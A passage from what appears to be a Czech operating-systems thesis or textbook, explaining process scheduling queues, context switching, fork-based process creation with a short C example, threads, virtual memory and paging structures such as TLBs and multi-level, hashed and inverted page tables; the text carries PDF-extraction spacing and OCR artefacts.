O b r á z e k 2.11: F r o n t a č e k a j í c í c h a p ř i p r a v e n ý c h p r o c e s ů . P ř e v z a t o ze z d r o j e [80]. 

2 . 4 . 6 P l á n o v a c í f r o n t y 

N a o b r á z k u 2.12 je uvedena fronta p ř ip r avených a fronty čekajících p rocesů . U čekacích front 
jsou v kruz ích uvedeny obs luhované p r o s t ř e d k y a š ipkami je označen s m ě r toku p rocesů v 
sy s t ému . Po vy tov řen í je proces za ř azen do fronty p ř ip ravených . P l á n o v a č vybere n ě k t e r ý 
proces z fronty p ř ip r avených a p ř i ř ad í m u j á d r o procesoru. 

fronta připravených 

l/O 1/0 čekací fronta 

čekací fronta 
na ukončení 
potomka 

čekací fronta 
na přerušení 

C P U 

1/0 požadavek 

časový úsek 
vypršel 

vytvoření procesu 
potomka 

čekání na 
přerušení 

O b r á z e k 2.12: P l á n o v a c í f ron ty . P ř e v z a t o ze z d r o j e [80]. 

V nás leduj íc ím seznamu je uveden k r á t k ý výče t udá los t í , ke k t e r ý m m ů ž e doj í t p ř i 
p rováděn í procesu: 

• P ř i p o ž a d a v k u na v s t u p - v ý s t u p n í operaci je proces p ř e s u n u t do fronty u r č e n é pro 
procesy čekající na dokončen í v s t u p - v ý s t u p n í operace. 

• P ř i vy tvo řen í nového procesu m ů ž e bý t vytváře j íc í proces p ř e s u n u t do fronty u rčené 
pro procesy čekající na ukončen í p o t o m k ů . 
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P ř i vyp r šen í času v y h r a z e n é h o pro b ě h procesu na procesoru je proces zastaven a 
vložen do fronty p ř ip ravených . 

• Proces je ukončen , je vyjmut ze všech front a jeho p r o s t ř e d k y vče tně P C B jsou dea-
lokovány. 

2 . 4 . 7 P ř e p n u t í k o n t e x t u 

V ý m ě n a a k t u á l n ě v y k o n á v a n é h o procesu za nový proces na j á d ř e procesoru se nazývá pře 
p n u t í kontextu. P r ů b ě h p ř e p n u t í kontextu zahrnuje uložení informací do P C B a k t u á l n ě vy
konávaného procesu a obnoven í stavu P C B procesu, k t e r ý bude vykonáván . D o b a p ř e p n u t í 
kontextu se m ů ž e lišit v závislost i na a r c h i t e k t u ř e a ovlivňuje j i n a p ř í k l a d poče t r eg i s t rů 
procesoru, s loži tost o p e r a č n í h o s y s t é m u nebo p ř í t o m n o s t spec iá ln ích ins t rukc í umožňuj íc ích 
uložení nebo n a č t e n í všech reg i s t rů . V současné d o b ě se tato doba pohybuje v ř á d u jednotek 
mikrosekund. 

proces P 0 

provádění JI 

operační systém proces P, 

přerušení nebo systémové volání 

provádění 

uložení stavu do PCB 0 

uložení stavu do PCB, 

• nečinný přerušení nebo systémové volání 

uložení stavu do PCB, 

uložení stavu do PCB 0 

v 

• nečinný 

provádění 

• nečinný 

O b r á z e k 2.13: P ř e p n u t í k o n t e x t u z j e d n o h o p r o c e s u n a d r u h ý . P ř e v z a t o ze z d r o j e 
[80]. 

2 . 4 . 8 V y t v o ř e n í p r o c e s u 

Nové procesy vznikaj í z existuj ících p o m o c í sys t émového volání fork. Nově vzniklé procesy 
mohou v y t v á ř e t da lš í a vzn iká tak s trom p rocesů uvedený na o b r á z k u 2.14. Proces vy tvá ře 
jící nové procesy se n a z ý v á rod ičovský a v y t v o ř e n é procesy jsou potomky tohoto procesu. Ve 
vě tš ině m o d e r n í c h ope račn ích s y s t é m ů jsou procesy identif ikovány p o m o c í celočíselného je
d inečného ident i f iká toru P I D (process identifier). V L i n u x o v é m s y s t é m u tvoř í kořen stromu 
proces systemd j ehož P I D je vždy 1. Proces systemd je r o d i č e m všech už iva te l ských p rocesů 
a zá roveň je to p r v n í už iva te l ský proces s p u š t ě n ý po startu o p e r a č n í h o s y s t é m u . Ze stromu 
procesů u v e d e n é h o na o b r á z k u 2.14 je m o ž n é zjistit nás leduj íc í informace: 

• Po tomkem procesu systemd je proces logind u r čený pro s p r á v u k l ientů . 
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• Po p ř ih lášen í kl ienta je v y t v o ř e n proces bash s iden t i f iká to rem P I D 8416. 

• P ř e s r o z h r a n í p ř íkazového ř á d k u procesu bash s p u s t í p ř ih lášený klient editor v i m , 
k t e rý p ř e d s t a v u j e proces s iden t i f iká to rem 9204 a proces ps s iden t i f iká to rem 9298. 

O b r á z e k 2.14: S t r o m p r o c e s ů v s y s t é m u L i n u x . P ř e v z a t o ze z d r o j e [80]. 

P ř í k l a d programu vytváře j íc ího nový proces p o m o c í sys t émového volání fork je uve
den ve výpise 2.2. Po dokončen í sy s t émového volání je v procesu rod iče do p r o m ě n n é pid 
vložena hodnota ident i f iká toru P I D procesu potomka a v n o v é m procesu po tomka je do 
p r o m ě n n é pid v ložena nulová hodnota, p ř i čemž proces potomka je kopi í rod ičovského pro
cesu a obsahuje tedy s te jné instrukce. Proces potomka pokraču j e v y k o n á v á n í m ins t rukc í 
následuj ících po s y s t é m o v é m volání fork a s y s t é m o v ý m vo lán ím execlp p řekry je svou paměť 
programem /bin/ls. Rod ičovský proces t a k é pok raču j e v y k o n á v á n í m ins t rukc í následuj íc ích 
po s y s t é m o v é m volání fork a p o m o c í sys t émového volání wait čeká na dokončen í potomka. 
Po dokončen í po tomka exp l i c i tn ím nebo imp l i c i t n ím p r o v e d e n í m sys t émového volání exit 
pokraču je rod ičovský proces instrukcemi nás leduj íc ími po volání wait. 

#include <sys/types.h> 
#include <stdio.h> 
#include <unistd.h> 

int main() 
{ 

pid t pid; 
/* Fork a c h i l d process. */ 
pid = fork(); 
i f (pid < 0) { /* Error occurred. */ 

fp r i n t f ( s t d e r r , "Fork Failed"); 
return 1; 

} 

/* Child process. */ 
else i f (pid == 0) { execlp("/bin/Is","Is",NULL); > 
/* Parent process. */ 
else { /* Parent w i l l wait for the c h i l d to complete. */ 

wait(NULL); 
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p r i n t f ( " C h i l d Complete"); 
} 

return 0; 
} 

Výpis 2.2: V y t v o ř e n í n o v é h o p r o c e s u p o m o c í s y s t é m o v é h o v o l á n í f o r k . P ř e v z a t o 
ze z d r o j e [80]. 

P r ů b ě h vy tvo řen í potomka je uveden na o b r á z k u 2.15. 

rodič 

> rodič pokračuje 

O b r á z e k 2.15: P r ů b ě h s y s t é m o v é h o v o l á n í f o r k . P ř e v z a t o ze z d r o j e [80]. 

V o p e r a č n í m s y s t é m u Windows slouží pro vy tvo řen í nového procesu funkce CreatePro-
cess. N a rozdí l od sys t émového volání fork vyžadu je p ř e d á n í p a r a m e t r ů a př i vy tvo řen í 
nového procesu vyžadu je n a č t e n í k o n k r é t n í h o programu do p a m ě t i nového procesu. 

2 . 4 . 9 U k o n č e n í p r o c e s u 

Proces je ukončen p ř í m ý m nebo n e p ř í m ý m p r o v e d e n í m sys t émového volání exit, k t e r é m u je 
p ř e d á n stav ukončen í . Stav ukončen í je obvykle celé číslo. Proces m ů ž e bý t ukončen i s v ý m 
rod ičovským procesem p r o v e d e n í m sys t émového volání . V o p e r a č n í m s y s t é m u Windows k 
tomuto účelu slouží funkce TerminateProcess. Po ukončen í je do tabulky p rocesů vložen 
stav ukončen í a jsou dea lokovány všechny jeho p r o s t ř e d k y mezi k t e r é p a t ř í n a p ř í k l a d ote
v řené soubory nebo fyzická a v i r t uá ln í p a m ě ť . Ukončené procesy jejichž rod ičovský proces 
neprovedl sys t émové volání wait se označuj í jako zombie. P r o v e d e n í sys t émového volání 
wait v o p e r a č n í m s y s t é m u L i n u x je uveden ve výpise 2.3. 

382 pid t pid; 
383 int status; 
384 pid = wait(festatus); 

Výpis 2.3: C e k á n í n a u k o n č e n í p r o c e s u p o t o m k a p r o v e d e n í m s y s t é m o v é h o v o l á n í 
w a i t . P ř e v z a t o ze z d r o j e [80] 

Po p roveden í sys t émového volání wait je o d s t r a n ě n a po ložka u k o n č e n é h o procesu z ta
bulky p rocesů . D o p r o m ě n n é pid je v ložen indet i f iká tor u k o n č e n é h o procesu a do p r o m ě n n é 
status je v ložen stav ukončen í . P ř i ukončen í rod ičovkého procesu m ů ž e v n ě k t e r ý c h ope rač 
ních sy s t émech doj í t k ukončen í všech p rocesů p o t o m k ů nebo v o p e r a č n í m s y s t é m u L i n u x 
se m ů ž e nový r o d i č e m s t á t proces systemd nebo n ě k t e r ý dalš í proces, k t e r ý se nás l edně 
s t a r á o ko rek tn í ukončen í procesu. 

2.5 Vlákno 

Dříve bylo dosaženo paralelismu v y t v o ř e n í m více kopi í s t e jného procesu. Sys t émové volání 
fork je i p ře s všechny optimalizace s tá le n á r o č n o u ope rac í t rvaj íc í mnoho cyklů procesoru 
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a je t a k é n á r o č e n é z hlediska s p o t ř e b o v a n é p a m ě t i R A M . Ř e š e n í m n á r o č n é h o vy tvá ř en í 
nových p rocesů je koncept n a z v a n ý v l ákno . 

V l á k n o p ř e d s t a v u j e nezávis lou cestu p rováděn í ins t rukc í v r á m c i procesu. Proces je s á m 
o sobě r ep rezen tován j e d n í m v l á k n e m , ale m ů ž e t a k é obsahovat více v láken jak je uvedeno 
na o b r á z k u 2.16. [80] 

O p e r a č n í s y s t é m udržu je pro k a ž d é v l á k n o datovou s t rukturu nazvanou s t ruktura úlohy. 
V t é t o s t r u k t u ř e je n a p ř í k l a d uložen ident i f iká tor v l ákna , ukazatel na zásobník , pr iori ta , 
masky s ignálů , bi ty schopnos t í a další . 

V l á k n a sdílí v r á m c i procesu t é m ě ř vše až na zásobník , registr P C (program counter) a 
t a k é si udržu j í své hodnoty reg i s t rů procesoru. 

Rozsah p rováděn í v l á k n a je funkce. Jak jíž bylo uvedeno, s a m o t n ý proces je reprezento
ván v l á k n e m , j ehož rozsahem prováděn í je funkce main. Zásobn ík funkce main se nacház í 
v h o r n í čás t i paměťového prostoru. Zásobn íky o s t a t n í c h v láken se nacház í kdekoli v p a m ě 
ťovém prostoru procesu. [76] 

Sku tečný pa ra le ln í b ě h v láken je m o ž n ý jen ve v íce jádrových nebo v íceprocesorových 
sys témech . V s y s t é m u s j e d n í m procesorem m ů ž e bý t p o m o c í p lánovac ího algori tmu zajiš
t ě n o s t ř ídavé vykonáván í v láken nebo p rocesů procesorem a je tak v y t v o ř e n a iluze paralel
n ího vykonáván í . [73] 

k ó d data soubory 

registry 

zásobník 

PC 

registry 

zásobník 

PC 

registry 

zásobník 

PC 

vlákno 

jednovláknový proces vícevláknový proces 

O b r á z e k 2.16: J e d n o v l á k n o v ý a v í c e v l á k n o v ý p r o c e s . P ř e v z a t o ze z d r o j e [80]. 

Vícev láknový p ř í s t u p lze ocenit p ř e d e v š í m př i implementaci už iva te l ského r o z h r a n í . P ř i 
k l iknu t í na t l ač í tko m ů ž e bý t z a h á j e n a časově n á r o č n á operace v s a m o s t a t n é m v l ák n ě a t í m 
je za j i š těna odezva už iva te lského r o z h r a n í i b ě h e m jej ího p rováděn í . Bez použ i t í v láken by 
aplikace p ř e s t a l a reagovat na p ř í kazy už iva te le po dobu vykonáván í t é t o operace. 

V l á k n a ma j í oproti p r o c e s ů m následuj íc í v ý h o d y : 

• Snazš í komunikace mezi vlákny. 

• Jejich v y t v á ř e n í s p o t ř e b u j e m é n ě p a m ě t i a času . 

• Rychlejš í p ř e p í n a n í kontextu. 

N e v ý h o d o u př i použ i t í v ícev láknového p ř í s t u p u je sku tečnos t , že chyba v jednom v lákně 
m ů ž e ovl ivni t b ě h procesu. 
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2.6 Vir tuá ln í paměť 

Konceptu v i r t u á l n í p a m ě t i využ ívá ř a d a m o d e r n í c h ope račn ích s y s t é m ů mezi k t e r é p a t ř í 
n a p ř í k l a d L i n u x , Windows nebo M a c O S . [76] 

2 . 6 . 1 S y s t é m n e v y u ž í v a j í c í k o n c e p t v i r t u á l n í p a m ě t i 

N a o b r á z k u 2.17 je uveden fiktivní sys t ém, k t e r ý nevyuž ívá konceptu v i r t u á l n í p a m ě t i . 
Takto fungují n ě k t e r é o p e r a č n í s y s t é m y typu R T O S nebo s t a r š í o p e r a č n í s y s t é m y mezi 
k t e r é p a t ř í n a p ř í k l a d D O S . 

OS 

Ovladače 

M  

... 

M  

Knihovny 

M  

... 

M  

A p p 2 

M  
A p p l 

M  '0 M B 

O b r á z e k 2.17: F y z i c k á p a m ě ť fiktivního s y s t é m u . P ř e v z a t o ze z d r o j e [76]. 

Velikost p a m ě t i R A M tohoto s y s t é m u je 64 M B . Adresový prostor t é t o p a m ě t i je sdí len 
o p e r a č n í m s y s t é m e m , ovladači , knihovnami a d v ě m a aplikacemi. V n ě k t e r é z ap l ikac í se 
m ů ž e n a c h á z e t n e ú m y s l n á nebo ú m y s l n á chyba. V r á m c i k ó d u aplikace A p p l m ů ž e doj í t k 
v ý s k y t u chyby, k t e r á by způsob i l a p řekop í rován í n a p ř í k l a d 1000 b a j t ů z p a m ě t i v y h r a z e n é 
pro apl ikaci A p p l do paměťového prostoru v y h r a z e n é h o pro o p e r a č n í s y s t é m . V tom p ř í p a d ě 
by došlo k poškození o p e r a č n í h o s y s t é m u a n á s l e d n é m u p á d u celého sy s t ému . 

2 . 6 . 2 S y s t é m v y u ž í v a j í c í k o n c e p t u v i r t u á l n í p a m ě t i 

V tomto s y s t é m u m á k a ž d ý proces vyhrazenu svou v i r t u á l n í paměť , k t e r á se označu je jako 
v i r t u á l n í ad resový prostor (dále jen V A S ) . T y t o v y h r a z e n é v i r t u á l n í p a m ě t i jsou izolované a 
procesy nemohou p ř i s t u p o v a t do v i r tuá ln í ch p a m ě t í o s t a t n í c h p rocesů . N a o b r á z k u 2.18 je 
uveden p řek l ad v i r tuá ln í ch adres na fyzické adresy. N a p ř í k l a d v i r t u á l n í adresa val procesu 
Pl je m a p o v á n a na fyzickou adresu pal v p a m ě t i R A M . 
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O b r á z e k 2.18: P ř e k l a d v i r t u á l n í c h a d r e s n a f y z i c k é a d r e s y R A M . P ř e v z a t o ze 
z d r o j e [76]. 

P ř e k l a d v i r tuá ln í ch adres na fyzické p rovád í h a r d w a r o v á jednotka M M U (Memory M a 
nagement Uni t ) u v e d e n á na o b r á z k u 2.19. [80] 

logická 

C P U 
a d r e s a 

C P U M M U 

fyzická 
a d r e s a 

O b r á z e k 2.19: P ř e k l a d l o g i c k ý c h a d r e s n a f y z i c k é . P ř e v z a t o ze z d r o j e [80]. 

V p ř í p a d ě , že velikost p a m ě t i R A M nes tač í pro uložení dat nacházej íc ích se ve V A S 
procesů , je použ i t d iskový odd í l ozačnovaný jako swap, k t e r ý slouží jako paměť R A M d r u h é 
ú rovně . P a m ě ť o v á hierarchije je uvedena na o b r á z k u 2.20. 
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CPU 
paměti cache 

O b r á z e k 2.20: P a m ě ť o v á h i e r a r c h i e . P ř e v z a t o ze z d r o j e [76]. 

S m ě r e m k h o r n í čás t i pyramidy roste rychlost a cena, ale klesá velikost p a m ě t í . S m ě r e m 
k doln í čás t i pyramidy klesá cena a rychlost, ale roste velikost p a m ě t í . 

Uložení informací o m a p o v á n í j edno t l i vých b a j t ů nebo slov by bylo paměťově velice 
n á r o č n é . V i r t u á l n í i fyzická paměť je rozdě lena na bloky a o p e r a č n í s y s t é m si nás l edně 
udržu je informace o m a p o v á n í t ě c h t o b loků . Rozdě len í p a m ě t i na bloky je m o ž n é realizovat 
d v ě m a způsoby: 

• segmentace - v i r t u á l n í a fyzická paměť je rozdě lena na bloky l ibovolné velikosti nazý
vané segmenty. 

• s t r á n k o v á n í - v i r t u á l n í i fyzická paměť je rozdě lena na bloky s te jné velikosti . B l o k y 
v i r t u á l n í p a m ě t i se označuj í jako s t r á n k y a b loky fyzické p a m ě t i se označuj í jako 
r ámce . 

O p o u ž i t é m s c h é m a t u nerozhoduje vývo já ř o p e r a č n í h o s y s t é m u , ale jednotka M M U . 

2 . 6 . 3 V ý h o d y p ř i v y u ž i t í v i r t u á l n í p a m ě t i 

V i r t u á l n í paměť p ř ináš í u r č i t ou režii, kterou zmírňu je h a r d w a r o v á akcelerace a v ý h o d y 
použ i t í v i r t u á l n í p a m ě t i převažuj í nad sn ížen ím výkonu . 

Procesy nemohou p ř i s t u p o v a t do paměťových ob las t í j iných p rocesů a p r o g r a m á t o r tedy 
nemus í řeši t p r o b l é m u v e d e n ý v kapitole 2.6.1. P ř i p ř í s t u p u procesu A a B na v i r t uá ln í 
adresu OxlOea budou oba tyto procesy ve sku t ečnos t i p ř i s t u p o v a t na rozdí lné fyzické adresy. 

Dalš í v ý h o d o u je m o ž n o s t ochrany paměťových ob las t í v r á m c i v i r t u á l n í p a m ě t i . 

2.7 Stránkování 

V t é t o sekci je vysvě t len koncept s t r ánkován í , k t e r ý umožňu je v y t v o ř e n í v i r t u á l n í p a m ě t i 
procesu. 

2 . 7 . 1 Z á k l a d n í m e t o d a s t r á n k o v á n í 

V A S procesu i fyzická paměť je rozdě lena na s te jně velké bloky p a m ě t i . V A S procesu je 
rozdělen na bloky nazývaj íc í se s t r á n k y a fyzická paměť je rozdě lena na bloky nazývaj íc í se 
r á m c e . S t r á n k y se ná s l edně m a p u j í na r á m c e . Procesor generuje logickou adresu uvedenou 
na o b r á z k u 2.21. [80] 
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číslo stránky p o s u n uvnitř stránky 

O b r á z e k 2.21: L o g i c k á a d r e s a g e n e r o v a n á p r o c e s o r e m p ř i p o u ž i t í z á k l a d n í m e t o d y 
s t r á n k o v á n í . P ř e v z a t o ze z d r o j e [80]. 

V adrese se nacház í číslo s t r á n k y a posun v r á m c i s t r ánky . N a o b r á z k u 2.22 je uveden 
p řek l ad logické adresy generované procesorem na fyzickou adresu p o m o c í tabulky s t r á n e k . 
K a ž d ý proces m á svou v la s tn í tabulku s t r á n e k u d r ž o v a n o u v r á m c i o p e r a č n í h o sy s t ému . 
Ukaza te l na tabulku s t r á n e k je u ložen ve s t r u k t u ř e P C B . 

C P U 

logická adresa 

r 

* t 

fyzická adresa 

1 d 

f d 

rámec e 

rámec f 

rámec g 

0x000 

Oxfff 

fyzická paměť 
tabu lka stránek 

O b r á z e k 2.22: P ř e k l a d l o g i c k é a d r e s y n a f y z i c k o u a d r e s u p o m o c í t a b u l k y s t r á n e k 
p ř i p o u ž i t í z á k l a d n í m e t o d y s t r á n k o v á n í . P ř e v z a t o ze z d r o j e [80]. 

P ř e k l a d logické adresy na fyzickou zajišťuje h a r d w a r o v á jednotka M M U . P ř i p ř e k l a d u 
použi je jednotka M M U číslo s t r á n k y jako index do tabulky s t r á n e k . N a tomto indexu se 
nacház í číslo r á m c e , na k t e r ý je s t r á n k a n a m a p o v á n a . Číslo r á m c e spolu s posunem tvoř í 
fyzickou adresu nacházej íc í se na v ý s t u p u jednotky M M U . N a o b r á z k u 2.23 je uvedeno 
m a p o v á n í s t r á n e k na r á m c e p o m o c í tabulky s t r á n e k . 
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0 a 
1 b 
2 c 
3 d 
4 e 
5 f 
6 g 
7 h 
8 
9 
10 

i 
k 11 I 

12 m 
13 n 
14 0 15 P 

logická paměť 

tabulka stránek 

0 

4 I 
i 
k 
I 

8 m 
n 
0 
P 12 

16 

20 a 
b 
c 
d 

24 e 
f 
g 
h 

28 

fyzická paměť 

O b r á z e k 2.23: M a p o v á n í s t r á n e k n a r á m c e p o m o c í t a b u l k y s t r á n e k . P ř e v z a t o ze 
z d r o j e [80]. 

Logická adresa 0 se nacház í ve s t r á n c e 0. V tabulce s t r á n e k je uvedeno, že s t r á n k a 0 je 
n a m a p o v á n a na r á m e c 5, k t e r ý zač íná na adrese 20. Logická adresa 0 se tedy nacház í na 
fyzické adrese 20. Da l š ím p ř í k l a d e m je logická adresa 5 nacházej íc í se ve s t r á n c e 1. S t r á n k a 
1 je n a m a p o v á n a na r á m e c 6, k t e r ý zač íná na adrese 24. Posun ve s t r á n c e je roven 1. P o 
p ř i č t en í posunu je fyzická adresa rovna h o d n o t ě 25. 

O p e r a č n í s y s t é m si dá le m u s í uchováva t informace o a lokovaných a volných r ámc ích ve 
fyzické p a m ě t i . P ro tento účel slouží d a t o v á s t ruktura n a z v a n á tabulka r á m c ů . O p e r a č n í 
s y s t é m udržu je pouze jednu tabulku r á m c ů . 

2 . 7 . 2 H a r d w a r o v á p o d p o r a s t r á n k o v á n í 

P ř i p ř e k l a d u logické adresy na fyzickou je n u t n é p ř i s t o u p i t do fyzické p a m ě t i na adresu, 
kde zač íná t abulka s t r á n e k . Tato adresa je u ložena v registru procesoru, p ř ičemž název 
tohoto registru je P T B R (page-table base register). P o na lezení čísla r á m c e je v y t v o ř e n a 
fyzická adresa. P r o z ískání dat je tedy n u t n é d v a k r á t p ř i s t o u p i t do fyzické p a m ě t i . Jeden 
p ř í s t u p je n u t n ý pro z ískání p ř e k l a d u čísla s t r á n k y na číslo r á m c e a d r u h ý p ř í s t u p pro 
z ískání dat. Zpožděn í z p ů s o b e n é t ě m i t o d v ě m a p ř í s t u p y je n e ú n o s n é . P ř e k l a d čísla s t r á n k y 
na číslo r á m c e je urychlen asoc ia t ivn í rychlou vyrovnávac í p a m ě t í T L B (translation look-
aside buffer) uvedenou na o b r á z k u 2.24, k t e r á se nacház í v i n s t rukčn í pipeline procesoru. 
[80] 
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CPU 

logická 
adresa 

tabulka stránek 

O b r á z e k 2.24: A s o c i a t i v n í v y r o v n á v a c í p a m ě ť T L B . P ř e v z a t o ze z d r o j e [80]. 

Po ložku nacházej íc í se v T L B tvoř í klíč a hodnota, p ř i čemž kl íčem je číslo s t r á n k y 
a hodnotou je číslo r á m c e . Po ložka v T L B je nalezena na zák l adě klíče. P ř i vyh ledáván í 
po ložky je h l e d a n ý klíč p o r o v n á n se všemi klíči položek v T L B zároveň . V p ř í p a d ě , že v T L B 
nen í nalezen p ř e k l a d čísla s t r á n k y na číslo r á m c e , je n u t n é vyhledat p ř e k l a d v tabulce 
s t r á n e k ve fyzické p a m ě t i a n á s l e d n ě jej vložit do T L B a vy tvo ř i t fyzickou adresu. P ř i 
na lezení p ř e k l a d u v T L B je m o ž n é ihned vy tvo ř i t p ř e k l a d logické adresy na fyzickou bez 
p ř í s t u p u do fyzické p a m ě t i , č ímž docház í ke zrychlení p ř ek l adu . 

V po ložkách n ě k t e r ý c h T L B m ů ž e bý t u ložen i ident i f iká tor a d r e s n í h o prostoru A S I D 
(address-space identifier) sloužící pro učení , zda proces p ř i s t u p u j e k d a t ů m nacháze j íc ím se 
v jeho V A S a ne k d a t ů m j iného procesu. S t r á n k y nacházej íc í se ve V A S jednoho procesu 
maj í stejnou hodnotu A S I D . T L B tedy m ů ž e obsahovat p ř e k l a d y různých p rocesů . Bez in-
den t i f iká toru A S I D by bylo n u t n é př i k a ž d é m p ř e p n u t í kontextu odstranit všechny p ř e k l a d y 
z T L B . 

N a m o d e r n í c h procesorech se m ů ž e n a c h á z e t několik ú rovn í T L B . 

2 . 7 . 3 Ú r o v n ě o c h r a n y s t r á n k y 

P ro s t r á n k u definovat ú rovně ochrany u v e d e n é v tabulce 2.1. 

Ú r o v e ň o c h r a n y s t r á n k y V ý z n a m 
Ž á d n á Se s t r á n k o u je m o ž n é dě la t cokoliv 
C t e n í Ze s t r á n k y je m o ž n é číst 
Zápis D o s t r á n k y je m o ž n é zapisovat 

S p u š t ě n í K ó d u ložený ve s t r á n c e m ů ž e bý t s p u š t ě n 

Tabulka 2.1: Ú r o v n ě o c h r a n y s t r á n k y . P ř e v z a t o ze z d r o j e [76]. 

Výchozí ú rovn í o p r á v n ě n í s t r á n k y je R W (Read-Write) , což z n a m e n á , že ze s t r á n k y 
je m o ž n é číst a zapisovat do ní . D íky s y s t é m o v ý m vo lán ím mmap a mprotect je m o ž n é 
výchozí ú roveň o p r á v n ě n í s t r á n k y z m ě n i t . Jednotka M M U př i k a ž d é m p ř í s t u p u ke s t r á n k á m 
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kontroluje, zda nedocház í k p o r u š e n í ú r o v n ě ochrany s t r ánky . V p ř í p a d ě p ř í s t u p u pro zápis 
na s t r á n c e u r č e n é pouze pro č ten í by jednotka M M U vyvolala vý j imku . O p e r a č n í s y s t é m by 
spusti l obs lužný kód vý j imky a v p ř í p a d ě , že se opravdu j e d n á o chybný p ř í s t u p , je ukončen 
proces prováděj íc í tento p ř í s t u p . [76] 

2 . 7 . 4 S d í l e n é s t r á n k y 

P o m o c í sdí lených s t r á n e k m ů ž e bý t n a p ř í k l a d sdí len kód knihoven použ ívaný více procesy 
čímž je u š e t ř e n o m í s t o ve fyzické p a m ě t i . K ó d nacházej íc í se ve sdí lených s t r á n k á c h mus í 
bý t r e e n t r a n t n í . R e e n t r a n t n í kód je takový, k t e r ý se b ě h e m p rováděn í programu n e m ě n í . 
K ó d knihovny l ibc je využ íván mnoha procesy v o p e r a č n í m s y s t é m u L i n u x . N a o b r á z k u 
2.25 jsou uvedeny t ř i procesy sdílející s t r á n k y l ibc 1 až l ibc 4, ve k t e rých se nacház í kód 
t é t o knihovny. Tabulky s t r á n e k obsahuj í m a p o v á n í t ě ch to sdí lených s t r á n e k na r á m c e ve 
fyzické p a m ě t i . [80] 

libd 

libc 2 

libc 3 

libc 4 
tabulka 

stránek pro P1 

proces Pt 

libc 1 

libc 2 

libc 3 

libc 4 
tabulka 

stránek pro P3 

libc 1 

libc 2 

libc 3 

libc 4 
tabulka 

stránek pro R. 

proces P2 

libc 4 

libc 2 

libc 3 

fyzická paměť 

proces P3 

O b r á z e k 2.25: S d í l e n í s t r á n e k m e z i p r o c e s y . P ř e v z a t o ze z d r o j e [80]. 

2 . 7 . 5 S t r u k t u r a t a b u l k y s t r á n e k 

V t é t o sekci jsou uvedena nejčastěj i p o u ž í v a n á s t r u k t u r o v á n í tabulek s t r ánek . 

H i e r a r c h i c k é t a b u l k y s t r á n e k 

N e v ý h o d o u z á k l a d n í metody s t r á n k o v á n í je velikost tabulky s t r á n e k . Ve 32-b i tovém sys
t é m u , ve k t e r é m m á V A S k a ž d é h o procesu 4 G B by velikost tabulky s t r á n e k k a ž d é h o pro
cesu byla 4 M B . J e d n í m z m o ž n ý c h řešení tohoto p r o b l é m u je použ i t í d v o u ú r o v ň o v é tabulky 
s t r á n e k u v e d e n é na o b r á z k u 2.26. [80] 
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o 

vnější tabulka 
stránek 

1 
• 

500 

100 
• 
l 
708 

• 

929 \ 

900 
stránka tabulky 

stránek 

tabulka stránek 
pamět 

O b r á z e k 2.26: D v o u ú r o v ň o v á t a b u l k a s t r á n e k . P ř e v z a t o ze z d r o j e [80]. 

Tabulka s t r á n e k je rozdě lena na vnější t abu lku s t r á n e k a v n i t ř n í t abu lku s t r á n e k . Vn i t řn í 
tabulka s t r á n e k je t v o ř e n a s t r á n k a m i . P r o d v o u ú r o v ň o v o u tabulku s t r á n e k je př i ad resován í 
p o u ž i t a 32-bi tová adresa uvedena na o b r á z k u 2.27. 

číslo stránky 

10 10 

posun uvnitř stránky 

12 

O b r á z e k 2.27: A d r e s a p r o d v o u ú r o v ň o v o u t a b u l k u s t r á n e k . P ř e v z a t o ze z d r o j e 
[80]. 

Čás t pl je index ve vnějš í tabulce s t r á n e k , na k t e r é m se nacház í adresa n ě k t e r é ze 
s t r á n e k tvoř íc í v n i t ř n í tabulku s t r á n e k . Č á s t p2 je offset ve s t r á n c e tvoř íc í v n i t ř n í tabulku 
s t r ánek , na k t e r é m se nacház í adresa s t r á n k y s daty. Č á s t d je offset ve s t r á n c e obsahuj íc í 
ad re sovaná data. P ř e k l a d adresy je z n á z o r n ě n na o b r á z k u 2.28. 

logická adresa 

P 2 

P 2 i 

vnější tabulka 
stránek 

stránka tabulky 
stránek 

O b r á z e k 2.28: P ř e k l a d a d r e s y p r o d v o u ú r o v ň o v o u t a b u l k u s t r á n e k . P ř e v z a t o ze 
z d r o j e [80]. 

P ro 64-bitovou architekturu je tato metoda n e v h o d n á , p ro tože je značně p r o d l o u ž e n a 
doba p ř e k l a d u adresy kvůl i vyšš ímu p o č t u p ř í s t u p ů do p a m ě t i . 
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H a š o v a n é t a b u l k y s t r á n e k 

Tento typ tabulky s t r á n e k u v e d e n ý na o b r á z k u 2.29 využ ívá hašovací tabulky. Číslo s t r á n k y 
je v loženo do hašovací funkce. V ý s t u p e m hašovací funkce je index do hašovací tabulky, na 
k t e r é m je ukazatel na p r v n í prvek seznamu položek tabulky s t r á n e k n a m a p o v a n é na s te jný 
index hašovací tabulky. Po ložky v seznamu obsahuj í číslo s t r ánky , číslo r á m c e a ukazatel na 
dalš í po ložku . P r ů c h o d e m seznamu je nalezena po ložka s p ř e k l a d e m čísla s t r á n k y na číslo 
r á m c e . P o m o c í čísla r á m c e je ná s l edně v y t v o ř e n a fyzická adresa. [80] 

fyzická 

fyzická paměť 

hašovací tabulka 

O b r á z e k 2.29: H a š o v a n á t a b u l k a s t r á n e k . P ř e v z a t o ze z d r o j e [80]. 

Podobnou variantou jsou shlukové tabulky s t r á n e k využ ívané na 64-bi tové a r c h i t e k t u ř e . 
Po ložka ve shlukové tabulce s t r á n e k obsahuje více m a p o v á n í s t r á n e k na r á m c e a ne jen 
jednu. 

I n v e r t o v a n é t a b u l k y s t r á n e k 

P ř e k l a d z logické adresy na fyzickou adresu p o m o c í inver tované tabulky s t r á n e k je uveden 
na o b r á z k u 2.30. [80] 

CPU 

logická adresa 

pid | P | d i d 

vyhledávání 

Pid | P 

fyzická 
adresa fyzická 

paměť 

tabulka stránek 

O b r á z e k 2.30: I n v e r t o v a n á t a b u l k a s t r á n e k . P ř e v z a t o ze z d r o j e [80]. 

Logická adresa je t v o ř e n a iden t i f iká to rem a d r e s n í h o prostoru označeného jako p id , číslem 
s t r á n k y a posunem. Iden t i f iká to rem a d r e s n í h o prostoru je m o ž n é odliš i t V A S procesů a v 
s y s t é m u je jen jedna tabulka s t r á n e k . P ř i p ř e k l a d u je v tabulce s t r á n e k v y h l e d á n a po ložka 
se s h o d n ý m iden t i f iká to rem a d r e s n í h o prostoru a číslem s t r á n k y jako je v p ř e k l á d a n é logické 
adrese. P o na lezen í po ložky je index t é t o po ložky v tabulce s t r á n e k použ i t jako číslo r á m c e . 
